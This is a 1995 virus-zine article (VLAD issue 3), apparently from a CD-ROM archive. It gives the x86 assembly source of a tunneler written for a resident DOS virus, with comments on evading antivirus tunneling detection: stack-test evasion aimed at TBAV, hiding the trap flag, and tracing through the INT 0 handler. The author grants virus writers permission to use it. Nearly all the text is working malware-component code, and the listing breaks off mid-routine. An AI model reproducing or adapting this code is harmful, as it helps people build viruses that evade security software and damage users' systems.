home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.5_4 < prev    next >
Encoding:
Text File  |  1995-02-06  |  34.0 KB  |  873 lines

  1.  
  2. ; ; ; ; ; ; ; ; ; ; Æ∩┼ìgΣn's Radical Tunneler ; ; ; ; ; ; ; ; ;
  3. ;;;               Copyright 1995 by Æ∩┼ìgΣn/VLAD             ;;;
  4. ;;;           Written specifically for Administrium          ;;;
  5. ;;;                which is unfortunately late               ;;;
  6. ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
  7. ;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^;
  8. ;  This is by far the most revolutionary (and largest) tunnel- ;
  9. ; er that I have encountered, and I hope that you will agree   ;
  10. ; with me in awe of its might and power. ;)  The basic idea is ;
  11. ; that very few AV packages test for tunneling, but those that ;
  12. ; do can render a mega-/<rad polymorphic stealth armoured IRQ  ;
  13. ; hooking virus absolutely useless with just a few opcodes.    ;
  14. ;  I found this to be somewhat unjust, and decided to take     ;
  15. ; matters into my own hands.  Here is the fruit of my labors!  ;
  16. ; If you want to include it in a virus, I grant you permission ;
  17. ; to take the code and modify it as needed as long as you can  ;
  18. ; somehow send me a copy of your source code before you pub-   ;
  19. ; lish or release it.  I can be reached through Metabolis at:  ;
  20. ;
  21. ;    meta@tmok.res.wpi.edu
  22. ;
  23. ; so send any code you include it in also send any bug reports ;
  24. ; and solutions if you have them. I have tested this as
  25. ; thoroughly as possible, but may have missed a possibility by ;
  26. ; some small quirk.  The total size of ÆRT is 1.6k, which I    ;
  27. ; consider to be a small price for complete invulnerability to ;
  28. ; common and even most uncommon detection/disabling methods.   ;
  29. ; But I'll let the code speak for itself.                      ;
  30. ;   Have a blast,
  31. ; --Æ∩┼ìgΣn
  32. ; February 3, 1995
  33.  
  34. ; note: this code is designed for resident virii only, as non-resident are
  35. ;       lame enough that they shouldn't be tunneling anyway ;)
  36. ; $pecial shout-out goes to Memory Lapse of P/S for the insights,
  37. ; Mr. Twister of NuKE, and Lookout for the ßeta testing as well as the
  38. ; rest of VLAD and other P/S members.
  39.  
  40. ideal                           ; I like TASM - so kill me
  41. radix   16                      ; it can be easily translated into
  42. segment code    'code'          ; MASM/a86 style by taking all ptr
  43. org     100                     ; expressions and segment overrides and
  44. assume  cs:code                 ; putting them outside the brackets
  45. tunl_setup:                     ; like mov byte ptr cs:[t_flags],0
  46.     mov     [byte ptr cs:t_flags],0         ; turn off all trap flags
  47.     mov     [word ptr cs:savedSP],sp
  48.     mov     [word ptr cs:savedSS],ss
  49.     mov     [byte ptr cs:_ax + 1],30
  50.     mov     ax,3501
  51.     int     21
  52.     mov     [word ptr cs:savedINT1],bx
  53.     mov     [word ptr cs:savedINT1+2],es
  54.     mov     ah,52
  55.     int     21                      ; get the list of lists
  56.     mov     ax,[es:bx - 2]          ; the segment of the 1st MCB
  57.     mov     [word ptr cs:first_MCB],ax
  58.     cwd                             ; zero dx
  59.     mov     ds,dx
  60.     mov     ax,offset trap
  61.     mov     [4],ax
  62.     mov     [6],cs                  ; store our handler
  63.     mov     ax,cs
  64.     mov     ss,ax
  65.     mov     sp,offset fooger_stack  ; pretend we've traced a jmp(or such)
  66.     mov     ax,300                  ; enable ints, trapping
  67.     push    ax
  68.     popf
  69.     mov     ah,30                   ; this is not traced
  70.     int     21                      ; this is
  71. ;; the tunneler disables itself when it has reached the original DOS int 21
  72.     cmp     al,2                    ; DOS <= v2.0?
  73.     jl      do_what_you_want_my_virus_aborts
  74. do_what_you_want_my_virus_aborts:
  75.     mov     ax,4c00
  76.     cmp     [word ptr cs:saved21_CS],0ffff  ; did we encounter 386+ ops?
  77.     jne     no_problem_tunneling
  78.     inc     ax                      ; ax = 4c01 (errorlevel 1)
  79. no_problem_tunneling:
  80.     int     21                      ; exit
  81. ;; ***** This is the most revolutionary part of what wil be Administrium
  82. ;; the tunneler uses extensive anti-anti-tunneling methods, and counteracts
  83. ;; even some unusual anti-tunneling methods.  Most importantly, it can
  84. ;; withstand any stack tests for tunneling.  (i.e. TBAV resistant)
  85. ;; here's how:
  86. ;  -if an instruction cannot be simulated (modifies cs,ip,and/or sp),
  87. ;   the contents of the old stack are copied to a temporary new stack
  88. ;   and the instruction is traced using the new stack.
  89. ;  -on return to the tracer it restores the old stack, changing sp to
  90. ;   reflect any changes made to the other stack, and bytes are copied as
  91. ;   is necessary for call/int
  92. ;  -if the instruction is div or idiv, the operand is tested to see if it
  93. ;   will generate an int 0 (divide overflow exception).  If it will, the
  94. ;   INT 0 is hooked, and traced, hiding signs of the tunneler
  95. ;  -if an instruction modifies the flags, the trap flag is hidden unless
  96. ;   the program actually sets it
  97. ;  -if an instruction is 286 protected/386+ and is not recognized, it is
  98. ;   not simulated and the tunneler aborts
  99. ;  -if OK, it loads the instruction into a temporary code buffer, and
  100. ;   executes it, adjusting for factors such as cs:override, etc.
  101. ;  -then it restores the first 5 bytes of the tunneler in case they were
  102. ;   changed, restores the int 1 vector, and cycles to the next instruction
  103. ;   SKIPPING the trap step so no stack modification is done
  104. ;;************************************
  105. ; t_flag bit-mapped values:
  106. ; 1  - set ds = the traced cs when executing the instruction, used if a cs:
  107. ;      override is in the traced code
  108. ; 2  - the traced handler has set the trap flag
  109. ; 4  - the previous instruction was an INT
  110. ; 8  - tracing through INT 0 handler
  111. ; 10 - set es = old ss when tracing a jmp [ss:where]
  112. ; 20 - ss: was used
  113. ; 40 - this instruction has an 8 bit immediate value
  114. ; 80 - this instruction has a 16 bit immediate value
  115. trap:
  116. ; on entry, the stack is:
  117. ;  flags
  118. ;  CS
  119. ;  IP
  120. ; of the INT 21 being traced
  121.     pop     [word ptr cs:savedIP] [word ptr cs:savedCS]
  122.     pop     [word ptr cs:flags]
  123.     mov     [word ptr cs:newSP],sp          ; save to do stack setup
  124.     mov     [word ptr cs:saved_retto],offset trap_ret1
  125.     jmp     pop_all                         ; 'call' pop_all
  126. trap_ret1:                                      ; return to here
  127.     test    [byte ptr cs:t_flags],10        ; was es set to ss?
  128.     jz      no_es_shit                      ; don't change code if so
  129.     mov     es,[word ptr cs:_es]            ; old es was saved here
  130.     and     [byte ptr cs:t_flags],not 10    ; make sure es != ss
  131.     mov     ds,[word ptr cs:savedCS]        ; ds = old CS
  132.     mov     si,[word ptr cs:SSIP]           ; si = IP of the ss:
  133.     mov     [byte ptr si],36                ; change 'es:' bk to 'ss:'
  134. no_es_shit:
  135.     mov     ax,offset fooger_stack          ; ax = sp if no changes
  136.     sub     ax,[word ptr cs:newSP]          ; get the difference
  137.     jz      test_for_int                    ; no changes to sp
  138.     jb      added_to_SP             ; call, int, call far sub. from sp
  139.     mov     cx,ax                           ; cx = number of bytes pushed
  140.     sub     [word ptr cs:savedSP],ax        ; make sure we remember
  141.     sub     sp,ax                           ; with both :)
  142.     cld                                     ; move bytes forwards
  143.     mov     ax,cs
  144.     mov     ds,ax
  145.     mov     si,[word ptr cs:newSP]          ; ds:si = temp stack
  146.     mov     es,[word ptr cs:savedSS]
  147.     mov     di,sp                           ; es:di = original stack
  148.     rep     movsb                           ; copy any changes
  149.     jmp     test_for_int                    ; continue tunneling
  150. added_to_SP:                            ; ret, retf, iret, etc. adds to sp
  151.     sub     [word ptr cs:savedSP],ax        ; subtracting the -number = +
  152.     sub     sp,ax                           ; adjust sp also
  153. test_for_int:
  154.     mov     ds,[word ptr cs:savedCS]        ; restore in case of trapping
  155.     mov     si,[word ptr cs:savedIP]
  156.     test    [byte ptr cs:t_flags],4         ; was the last instruc an int?
  157.     je      not_int                         ; no, continue
  158.     mov     bp,sp                           ; stack= +0 IP +2 CS +4 flags
  159.     and     [word ptr bp+4],not 100         ; hide trap flag
  160.     and     [byte ptr cs:t_flags],not 4     ; clear the INT flag
  161. not_int:
  162. ;; go to here if the last instruction was only simulated
  163. skip_trap:
  164.     and     [byte ptr cs:t_flags],not 1     ; turn off ds=cs flag
  165.     cld                                     ; move forwards
  166.     mov     [word ptr cs:savedIP],si        ; save in case we DIDN'T
  167.     mov     [word ptr cs:savedCS],ds        ; trap and jmped to here
  168.     test    [byte ptr cs:t_flags],8         ; are we tracing INT0?
  169.     jne     continue_trap                   ; can't be in DOSseg if so
  170.     mov     ax,[word ptr cs:first_MCB]
  171.     cmp     [word ptr cs:savedCS],ax        ; are we in the DOSseg?
  172.     jae     continue_trap                   ; DOSseg < first MCB
  173.     mov     [word ptr cs:saved21_CS],ds     ; ds = DOSseg
  174.     mov     [word ptr cs:saved21_IP],si     ; si = DOSofs
  175.     xor     cx,cx                           ; ensure cleanup works :)
  176.     mov     [word ptr cs:saved_retto],offset cover_tracks
  177.     jmp     pop_all                         ; 'call' pop_all
  178. cover_tracks:                                   ; return to here
  179.     and     [word ptr cs:flags],not 100     ; turn off trapping
  180.     jmp     regular_exit                    ; done tunneling (yay!)
  181. continue_trap:
  182.     mov     ax,cs
  183.     mov     es,ax                   ; es=cs
  184.     mov     di,offset code_buf      ; es:di=code buffer
  185. get_opcode:
  186.     lodsw                           ; load 2 instruction bytes into ax
  187.     xor     cx,cx                   ; possibly needed later on
  188. do_tests:                               ; by cleanup (no moving of stack)
  189.     cmp     al,0e                   ; push cs?
  190.     jne     c1
  191.     add     al,10                   ; do a push ds instead
  192.     or      [byte ptr cs:t_flags],1 ; set ds=old cs
  193. c1:
  194.     cmp     al,26                   ; es:?
  195.     jne     c2
  196. do_save:
  197.     cmp     al,36                   ; ss:?
  198.     jne     no_memory
  199.     or      [byte ptr cs:t_flags],20        ; remember ss: was used
  200.     dec     si
  201.     dec     si                      ; adjust for the lodsw
  202.     mov     [word ptr cs:SSIP],si   ; save location of ss: (ss: IP)
  203.     inc     si
  204.     inc     si
  205.     jmp     save_byte
  206. no_memory:
  207.     and     [byte ptr cs:t_flags],not 20    ; turn off ss: used flag
  208. save_byte:
  209.     stosb                           ; save in code buffer
  210. no_save_continue:
  211.     lodsb                           ; load next instruction byte
  212.     xchg    ah,al                   ; set up for a simulated lodsw
  213.     jmp     do_tests                ; cycle up to do_tests
  214. c2:
  215.     cmp     al,2e                   ; cs:?
  216.     jne     c3
  217.     or      [byte ptr cs:t_flags],1 ; set ds=old cs
  218.     or      al,10                   ; store ds:
  219.     jmp     do_save                 ; save in code buffer
  220. c3:
  221.     cmp     al,36                   ; ss:?
  222.     je      do_save
  223.     cmp     al,3e                   ; ds:?
  224.     jne     c3a
  225.     and     [byte ptr cs:t_flags],not 1     ; ds != cs anymore
  226.     jmp     do_save                 ; save in code buffer
  227. c3a:
  228.     cmp     al,8c                   ; mov r/m16,Sreg?
  229.     jne     c4
  230.     stosb                           ; save instruction byte
  231.     xchg    ah,al                   ; al = ModR/M byte
  232.     mov     bx,ax                   ; save it temporarily
  233.     and     al,111000b              ; isolate the Segment register
  234.     cmp     al,1000b                ; cs?
  235.     jne     no_ds                   ; if so, we use ds instead
  236.     or      bl,10000b               ; use ds
  237.     or      [byte ptr cs:t_flags],1 ; set ds = old cs
  238. no_ds:
  239.     mov     [word ptr cs:saved_retto],offset execute_and_exit
  240.     jmp     get_instruction         ; 'call' get_instruction
  241. no_get_opcode:
  242.     mov     [word ptr cs:saved_retto],offset execute_and_exit
  243.     jmp     get_instruction         ; 'call' get_instruction
  244. c4:
  245.     cmp     al,9c                   ; pushf?
  246.     jne     c6
  247.     push    [word ptr cs:flags]     ; simulate it
  248.     mov     [word ptr cs:savedSP],sp        ; save the new SP
  249. ;; si = location of the pushf + 2, so we decrement it to skip the pushf
  250.     dec     si                      ; skip the pushf
  251.     test    [byte ptr cs:t_flags],2 ; is trap supposed to be on?
  252.     jne     no_mod
  253.     pop     bx                      ; bx = flags
  254.     and     bx,not 100              ; turn off trap flag
  255.     push    bx                      ; save the new stealthed flags
  256. no_mod:
  257.     jmp     skip_trap               ; cycle up to skip_trap
  258. c6:
  259.     cmp     al,9dh                  ; popf?
  260.     jne     c7
  261.     pop     ax                      ; ax = new flags
  262.     mov     [word ptr cs:flags],ax  ; save them
  263. ;; si = location of the popf + 2, so we decrement it to skip the pushf
  264.     dec     si                      ; skip the popf
  265.     test    ax,100                  ; are they turning ON trapping?
  266.     je      no_prob                 ; if no, then we stealth
  267.     or      [byte ptr cs:t_flags],2 ; remember this fact
  268.     jmp     continue_popf
  269. no_prob:
  270.     and     [byte ptr cs:t_flags],not 2     ; make sure the flag is off
  271. continue_popf:
  272.     and     [word ptr cs:flags],not 100     ; "turn off" the trap flag
  273.     mov     [word ptr cs:savedSP],sp        ; save the new SP
  274.     jmp     no_mod                  ; cycle to skip_trap
  275. c7:
  276.     cmp     al,0c2                  ; ret iw?
  277.     jne     c8
  278. do_ret:
  279.     mov     cx,2                    ; only need to save return address
  280.     jmp     goto_cleanup            ; go down to cleanup
  281. c8:
  282.     cmp     al,0c3                  ; ret?
  283.     je      do_ret                  ; cx = 0
  284. c9:
  285.     cmp     al,0ca                  ; retf iw?
  286.     jne     c10
  287. do_retf:
  288.     add     cx,4                    ; only need to save return address
  289.     jmp     goto_cleanup            ; go down to cleanup
  290. c10:
  291.     cmp     al,0cbh                 ; retf?
  292.     je      do_retf
  293.     cmp     al,0cf                  ; iret?
  294.     jne     c11
  295. ;; stack:
  296. ;  [sp+4] = flags
  297. ;  [sp+2] = CS
  298. ;  [sp+0] = IP
  299.     mov     bp,sp
  300.     or      [word ptr bp+4],100     ; ensure trapping is on
  301.     and     [byte ptr cs:t_flags],not 8     ; turn off in INT 0 flag
  302.     mov     cx,6                    ; save the 6 stack bytes
  303. goto_cleanup:
  304.     jmp     cleanup                 ; go down to cleanup
  305. goto_scan:
  306.     jmp     scan                    ; start scanning the lists of opcodes
  307. c11:
  308.     cmp     al,0c8                  ; enter?
  309.     jne     no_enter
  310.     stosw                           ; save the 4 byte instruction
  311.     movsw                           ; enter is the only constant 4 byter
  312.     jmp     execute_and_exit
  313. no_enter:
  314.     cmp     al,0cc                  ; int 3?
  315.     je      hide_trap
  316.     cmp     al,0ce                  ; into?
  317.     jne     c11a
  318.     test    [word ptr cs:flags],800 ; is the overflow flag set?
  319.     jne     hide_trap
  320.     jmp     no_save_continue        ; no, so no interrupt generated
  321. push_orig:
  322.     push    [word ptr cs:savedIP]   ; push the original IP for INT 0
  323.     jmp     continue_int
  324. c11a:
  325.     cmp     al,0cdh                 ; int ??
  326.     jne     c11b
  327. hide_trap:
  328.     or      [byte ptr cs:t_flags],4 ; remember to hide the trap flag
  329.     push    [word ptr cs:flags]     ; fake the interrupt
  330.     push    ds                      ; ds = old cs
  331. ;; ax = ??cd where ?? is the int number
  332.     test    ah,ah                   ; int 0?
  333.     je      push_orig               ; save original IP
  334.     push    si                      ; si = IP of instruc AFTER the INT ??
  335. continue_int:
  336.     mov     [word ptr cs:savedSP],sp        ; remember the new sp
  337.     mov     [word ptr cs:retto],ax  ; save the number of the INT
  338.     xor     ax,ax
  339.     mov     ds,ax
  340.     mov     ax,[word ptr cs:retto]
  341.     xchg    ah,al                   ; ax = cd??
  342.     xor     ah,ah                   ; ax = 00?? (the interrupt number)
  343.     shl     ax,2                    ; ax = ax*4 (the vector address)
  344.     mov     si,ax                   ; ds:si = int ?? vector
  345.     lodsw                           ; ax = int??ofs
  346.     mov     [word ptr cs:savedIP],ax        ; simulate the trace
  347.     lodsw                           ; ax = int??seg
  348.     mov     [word ptr cs:savedCS],ax ;set the new CS:IP as if interrupted
  349.     and     [word ptr cs:flags],not 300 ; turn off trapping and interrupts
  350.     jmp     test_for_int            ; cycle to start of trapping
  351. no_hide_flag:
  352.     jmp     goto_cleanup            ; nothing need be saved
  353. c11b:
  354.     cmp     ax,0d4                  ; AAM 0? (causes divide overflow)
  355.     je      goto_dd0                ; definitely divide by 0
  356.     cmp     al,0f0                  ; lock?
  357.     jne     c12
  358. d_save_prefix:
  359.     jmp     do_save                 ; save the prefix
  360. c12:
  361.     cmp     al,0f2                  ; repne?
  362.     je      d_save_prefix
  363.     cmp     al,0f3                  ; rep?
  364.     je      d_save_prefix
  365.     cmp     al,0f6
  366.     je      goto_might_be_div_0     ; might cause an INT 0 to happen
  367.     cmp     al,0f7
  368.     je      goto_might_be_div_0     ; INT 0 = divide overflow
  369.     cmp     al,0ff                  ; could be indirect jump
  370.     je      goto_ticj               ; test ofr indirect call/jmp
  371.     cmp     al,40
  372.     jb      test_80
  373.     cmp     al,61
  374.     ja      test_80
  375.     jmp     save_1_byter            ; 40 <= opcodes <= 61 are 1 byters
  376. test_80:
  377.     cmp     al,80
  378.     jb      scan
  379.     cmp     al,8f                   ; 80 <= opcodes <= 8f are ModR/Mers
  380.     ja      scan
  381.     jmp     save_ModRMer
  382. scan:
  383.     mov     bp,di                   ; save offset into code buffer
  384.     mov     di,offset one_byters
  385.     mov     dx,offset next_scan     ; the return address
  386.     mov     cx,two_byters-one_byters
  387.     jmp     scan_for_match          ; see if al is a 1 byte instruction
  388. next_scan:
  389.     jcxz    cont1                   ; cx != 0 means it is
  390. save_1_byter:
  391.     stosb                           ; save it
  392.     dec     si                      ; si - 1 = next instruction offset
  393.     jmp     execute_and_exit
  394. cont1:
  395.     add     dx,next_scan1-next_scan ; adjust for next return address
  396.     mov     cx,three_byters-two_byters
  397.     jmp     scan_for_match
  398. next_scan1:
  399.     jcxz    cont2
  400.     stosw                           ; save the opcode
  401.     jmp     execute_and_exit
  402. cont2:
  403.     add     dx,next_scan2-next_scan1
  404.     mov     cx,modrm-three_byters
  405.     jmp     scan_for_match
  406. goto_might_be_div_0:
  407.     jmp     might_be_div_0          ; space-saving jump
  408. next_scan2:
  409.     jcxz    cont3
  410.     stosw                           ; 3 byte instruction
  411.     movsb
  412.     jmp     execute_and_exit
  413. goto_dd0:
  414.     jmp     definitely_div_0
  415. cont3:
  416.     add     dx,next_scan3-next_scan2
  417.     mov     cx,abort-modrm
  418.     jmp     scan_for_match
  419. goto_ticj:
  420.     jmp     test_indirect_call_jmp
  421.     ;-----------------------; This is called if the ModR/M
  422. do_imm16:                       ; instruction also includes
  423.     or      [byte ptr cs:t_flags],80        ; an immediate value so that
  424. do_imm8:                        ; get_instruction can copy the
  425.     or      [byte ptr cs:t_flags],40        ; correct number of bytes to
  426. goto_get_instruction:           ; the code_buf
  427.     mov     [word ptr cs:saved_retto],offset execute_and_exit
  428.     xchg    ah,al           ;
  429.     mov     bx,ax           ; save the ModR/M
  430.     jmp     get_instruction ;
  431.     ;-----------------------;
  432. next_scan3:
  433.     jcxz    cont4
  434. save_ModRMer:
  435.     stosb                   ; save opcode (ModR/M length uncertain)
  436. is_OK_indirect:
  437.     cmp     al,69           ; imul
  438.     je      do_imm16
  439.     cmp     al,6bh          ; imul
  440.     je      do_imm8
  441.     cmp     al,80           ; immediate
  442.     je      do_imm8
  443.     cmp     al,81           ; immediate
  444.     je      do_imm16
  445.     cmp     al,82           ; immediate
  446.     je      do_imm8
  447.     cmp     al,83           ; immediate
  448.     je      do_imm16
  449.     cmp     al,0c0          ; shift
  450.     je      do_imm8
  451.     cmp     al,0c1          ; shift
  452.     je      do_imm16
  453.     cmp     al,0c6          ; mov
  454.     je      do_imm8
  455.     cmp     al,0c7          ; mov
  456.     je      do_imm16
  457.     jmp     goto_get_instruction
  458. cont4:
  459.     add     dx,end_scan-next_scan3
  460.     mov     cx,end_opcodes-abort
  461.     jmp     scan_for_match
  462. end_scan:
  463.     jcxz    no_flag         ; no unrecognized opcodes are simulated
  464.     mov     [word ptr cs:saved21_CS],0ffff
  465.     jmp     cover_tracks
  466. ;; done scanning - no matches or non-handleable opcodes encountered
  467. ;; instructions left over modify cs and/or ip
  468. ; (call, call far, jmp, jmp far, ret etc.)
  469. no_flag:
  470.     and     [byte ptr cs:t_flags],not 1     ; turn off cs=ds JUST IN CASE
  471. cleanup:
  472. ;; cx set to number of bytes to move from old stack to temporary stack
  473. ;; 0 if not a ret/retf/ret xxxx/retf xxxx
  474.     mov     ax,cs
  475.     mov     es,ax                   ; es:di = cs:fooger_stack
  476.     mov     di,offset fooger_stack  ; move bytes from sp + xx to fooger
  477.     mov     ds,[word ptr cs:savedSS]        ; ds:si = old ss:sp
  478.     mov     si,[word ptr cs:savedSP]
  479.     cld
  480.     rep     movsb                   ; cx has already been set to
  481.                     ; the number of bytes to remember
  482.     mov     [word ptr cs:saved_retto],offset bibi
  483.     jmp     pop_all                 ; 'call' pop_all
  484. ;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  485. might_be_div_0:
  486.     mov     bx,ax                   ; bx = saved ModR/M byte and instruc.
  487.     xchg    ah,al                   ; al = ModR/M byte
  488.     and     al,111000b              ; isolate opcode of ModR/M
  489.     cmp     al,110000b              ; div?
  490.     je      isit_0
  491.     cmp     al,111000b              ; idiv?
  492.     je      isit_0
  493.     xchg    ax,bx                   ; restore the instruction\ModR/M
  494.     jmp     scan                    ; not div/idiv
  495. test_indirect_call_jmp:
  496.     stosb                           ; save opcode just in case
  497.     xchg    ah,al                   ; al = ModR/M
  498.     mov     bx,ax                   ; save it
  499.     and     al,111000b              ; isolate opcode of ModR/M
  500.     cmp     al,10000b
  501.     jb      no_problem
  502.     cmp     al,101000b
  503.     jbe     test_for_ss             ; it is a call/jmp indirect
  504. no_problem:
  505.     xchg    ax,bx                   ; restore and continue
  506.     jmp     is_OK_indirect
  507. test_for_ss:
  508.     test    [byte ptr cs:t_flags],20        ; ss: used?
  509.     je      cleanup                 ; if not, no worries
  510.     xor     [byte ptr cs:t_flags],30        ; turn on set es=ss flag
  511.                     ; -and- turn off ss: used
  512.     mov     si,[word ptr cs:SSIP]   ; si = location of the ss:
  513.     sub     [byte ptr si],10        ; change the ss: to es:
  514.     jmp     cleanup                 ; exit
  515. bibi:                                   ; bye bye!
  516.     mov     ax,cs
  517.     mov     ss,ax
  518.     mov     sp,offset fooger_stack  ; set ss:sp = temporary stack
  519.     mov     ax,[word ptr cs:_ax]
  520.     or      [word ptr cs:flags],100 ; ensure trapping is on
  521. regular_exit:
  522.     push    [word ptr cs:flags]
  523.     push    [word ptr cs:savedCS]
  524.     push    [word ptr cs:savedIP]   ; restore the stack and return :)
  525.     iret
  526. isit_0:
  527.     sub     di,offset code_buf
  528.     mov     [word ptr cs:saved_codebuf],di  ; save the difference
  529.     add     di,offset code_buf
  530.     xchg    ax,bx                   ; al = instruction,ah = ModR/M
  531.     test    al,1                    ; word operand or byte operand?
  532.     jne     its_word                ; it's a word operand
  533.     mov     al,80                   ; will be cmp r/m8,0
  534.     jmp     continue_is0            ; skip next part
  535. its_word:
  536.     mov     al,83           ; will be cmp r/m16,0 <-- sign extended imm8
  537. continue_is0:
  538.     stosb                           ; save the new opcode
  539.     xchg    ah,al                   ; al = ModR/M
  540.     or      al,111000b              ; make the opcode a cmp
  541.     mov     bx,ax                   ; let get_instruction do the rest
  542.     mov     [word ptr cs:saved_retto],offset goto_cmp
  543.     jmp     get_instruction         ; 'call' get_instruction
  544. goto_cmp:
  545.     xor     al,al                   ; make the constant a 0
  546.     stosb                           ; save the constant
  547.     mov     [word ptr cs:retto],offset setup_if_div_0
  548.     dec     si
  549.     dec     si                      ; pretend we never looked at the div
  550.     sub     si,[word ptr cs:saved_codebuf]  ; adjust for # of seg ov.
  551.     jmp     execute                 ; compare the operand to 0
  552. ;; if it is 0, then an INT 0 will be generated - we must hook this in case
  553. ;; it is
  554. setup_if_div_0:
  555.     jne     return_to_scan  ; this is immediately after 'cmp r/mX,0'
  556. ;********************************************************
  557. ;* an INT 0 will be called if we div, so we just pretend
  558. ;* that it was and cycle up to skip_trap
  559. definitely_div_0:
  560.     mov     ax,[word ptr cs:flags]
  561.     test    [byte ptr cs:t_flags],2 ; they turn on the trap flag?
  562.     jne     no_hide_TF
  563.     and     ax,not 100              ; turn off TF
  564. no_hide_TF:
  565.     push    ax
  566.     and     ax,not 200              ; turn off IF
  567.     mov     [word ptr cs:flags],ax
  568.     push    [word ptr cs:savedCS]
  569.     push    [word ptr cs:savedIP]   ; fake the pending INT 0
  570.     mov     [word ptr cs:savedSP],sp
  571.     xor     ax,ax
  572.     mov     ds,ax
  573.     mov     ax,[0]                  ; ax = old INT0ofs
  574.     mov     si,ax
  575.     mov     ax,[2]                  ; ax = old INT0seg
  576.     mov     ds,ax
  577.     or      [byte ptr cs:t_flags],8 ; turn on in INT 0 flag
  578.     jmp     skip_trap               ; trace their int 0 handler
  579. return_to_scan:                         ; not div 0, so OK to do normally
  580.     mov     ax,cs
  581.     mov     es,ax
  582.     mov     di,offset code_buf
  583.     add     di,[word ptr cs:saved_codebuf]  ; use the same segment shtuff
  584.     mov     si,[word ptr cs:savedIP]
  585.     add     si,[word ptr cs:saved_codebuf]  ; skip the actual stuff
  586.     mov     [word ptr cs:savedIP],si
  587.     mov     ds,[word ptr cs:savedCS]
  588.     lodsw                           ; ax = the div :)
  589.     jmp     scan                    ; simulate it normally
  590. push_all:
  591.     mov     [word ptr cs:_ds],ds    ; save ds
  592. save_all_but_DS:                        ; self-explanatory :)
  593.     mov     [word ptr cs:savedSS],ss
  594.     mov     [word ptr cs:savedSP],sp
  595.     mov     sp,cs                   ; saved sp so we can do this
  596.     mov     ss,sp                   ; (will fuck up some debuggers)
  597.     mov     sp,offset top_of_stack  ; ss:sp = saved registers
  598.     push    ax bx cx dx si di bp es ; save processor state
  599.     mov     ax,cs                   ; ds saved up 9 lines
  600.     mov     ss,ax
  601.     mov     sp,offset fooger_stack  ; ss:sp = temporary stack
  602.     pushf                           ; push flags
  603.     pop     [word ptr cs:flags]     ; save the current flags
  604.     mov     ax,[word ptr cs:_ax]    ; restore ax
  605.     mov     ss,[word ptr cs:savedSS]
  606.     mov     sp,[word ptr cs:savedSP]        ; restore ss:sp
  607.     jmp     [word ptr cs:saved_retto]       ; return to caller
  608. pop_all:
  609.     mov     sp,cs
  610.     mov     ss,sp
  611.     mov     sp,offset _ds                   ; ss:sp = saved registers
  612.     pop     ds es bp di si dx cx bx ax      ; restore processor state
  613.     mov     bp,offset normal_pop_all        ; retto for pop_flags
  614.     test    [byte ptr cs:t_flags],10        ; set es = ss?
  615.     je      pop_flags                       ; no, then normal pop_all
  616.     mov     bp,offset set_es_eq_ss          ; set es=ss on return
  617.     jmp     pop_flags                       ; 'call' pop_flags
  618. set_es_eq_ss:
  619.     mov     es,[word ptr cs:savedSS]        ; es = old ss
  620. normal_pop_all:
  621.     mov     bp,[word ptr cs:_bp]            ; restore bp
  622.     mov     ss,[word ptr cs:savedSS]        ; restore ss:sp
  623.     mov     sp,[word ptr cs:savedSP]
  624.     jmp     [word ptr cs:saved_retto]       ; return to caller
  625. pop_flags:
  626.     mov     ax,cs
  627.     mov     ss,ax
  628.     mov     sp,offset flags                 ; ss:sp = flags
  629.     pop     ax                              ; ax = flags
  630.     mov     sp,[word ptr cs:newSP]          ; preserve fooger sp
  631.     and     ax,not 100                      ; don't turn on trapping
  632.     push    ax                              ; (endless loop)
  633.     popf                                    ; flags = processor state
  634.     mov     ax,[word ptr cs:_ax]            ; restore ax
  635.     jmp     bp                              ; return
  636. scan_for_match:                                 ; scan es:di for al
  637.     cld
  638.     repne   scasb
  639.     jcxz    back                            ; if cx==0 then al not found
  640.     mov     di,bp                           ; restore es:di to codebuf
  641. back:
  642.     jmp     dx                              ; return to scanning up there
  643. ;; copy instruction from ds:si to code buffer - this handles
  644. ;; copying the correct number of bytes for instructions with a ModR/M
  645. ;entry:bl=modrm,ds:si=instruction remaining (if any)
  646. get_instruction:
  647.     mov     al,bl                           ; bl = saved ModR/M
  648.     and     al,11000111b                    ; al = Mod & R/M only
  649.     cmp     al,01000000b                    ; Mod > 2 == could have disp
  650.     jae     might_have_disp
  651.     cmp     al,110b                         ; it is a 16 bit disp
  652.     je      do_disp16
  653. ret_save:
  654.     mov     al,bl                           ; al = Mod|Reg|R/M again
  655.     stosb                                   ; save it
  656. _ret:
  657.     test    [byte ptr cs:t_flags],0C0       ; any immediate byte/word?
  658.     jz      do__ret                         ; 0 = no
  659.     test    [byte ptr cs:t_flags],80        ; 16 bit immediate?
  660.     jz      only_1
  661.     movsb                                   ; 16 bit immediate for sure
  662. only_1:
  663.     movsb                                   ; only 8 bit immediate
  664.     and     [byte ptr cs:t_flags],not 0C0   ; clear the imm flags
  665. do__ret:
  666.     jmp     [word ptr cs:saved_retto]       ; i.e. ret without stack
  667. might_have_disp:
  668.     cmp     al,11000000b                    ; is R/M a register?
  669.     jae     ret_save                        ; if so no disp
  670.     cmp     al,10000000b                    ; 8-bit displacement?
  671.     jb      do_disp8
  672. do_disp16:                                      ; must be 16 bit
  673.     mov     al,bl                           ; save MoDR/M
  674.     stosb
  675.     movsw                                   ; save the disp16
  676.     jmp     _ret                            ; return to caller
  677. do_disp8:
  678.     mov     al,bl                           ; al = ModR/M
  679.     stosb                                   ; save it
  680.     movsb                                   ; save the disp8
  681.     jmp     _ret                            ; return to caller
  682. execute_and_exit:
  683.     mov     [word ptr cs:retto],offset cont_exe_ret
  684. ;; because execute is called by the "isit_0" subroutine to test
  685. ;; the operand of a div/idiv instruction for 0, this value must be
  686. ;; placed in retto for all other calls to execute since there is a
  687. ;; "break" (to use C++ language) in the middle for the exception of
  688. ;; div 0 testing
  689. execute:
  690.     xchg    ax,di                           ; save code_buf offset
  691.     mov     [word ptr cs:savedCS],ds
  692.     mov     [word ptr cs:savedIP],si        ; save new CS:IP traced
  693.     mov     di,cs
  694.     mov     ds,di
  695.     xor     di,di
  696.     mov     es,di                           ; es:di = INT 1 vector
  697.     add     di,4
  698.     mov     si,offset savedINT1             ; ds:si = saved INT 1 vector
  699.     movsw
